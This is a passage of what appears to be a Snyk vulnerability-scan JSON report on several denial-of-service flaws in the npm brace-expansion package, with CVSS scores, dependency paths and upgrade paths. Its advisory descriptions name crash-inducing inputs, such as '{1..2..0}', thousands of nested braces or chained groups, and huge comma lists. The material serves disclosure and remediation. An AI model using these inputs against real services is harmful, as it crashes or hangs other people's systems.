Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
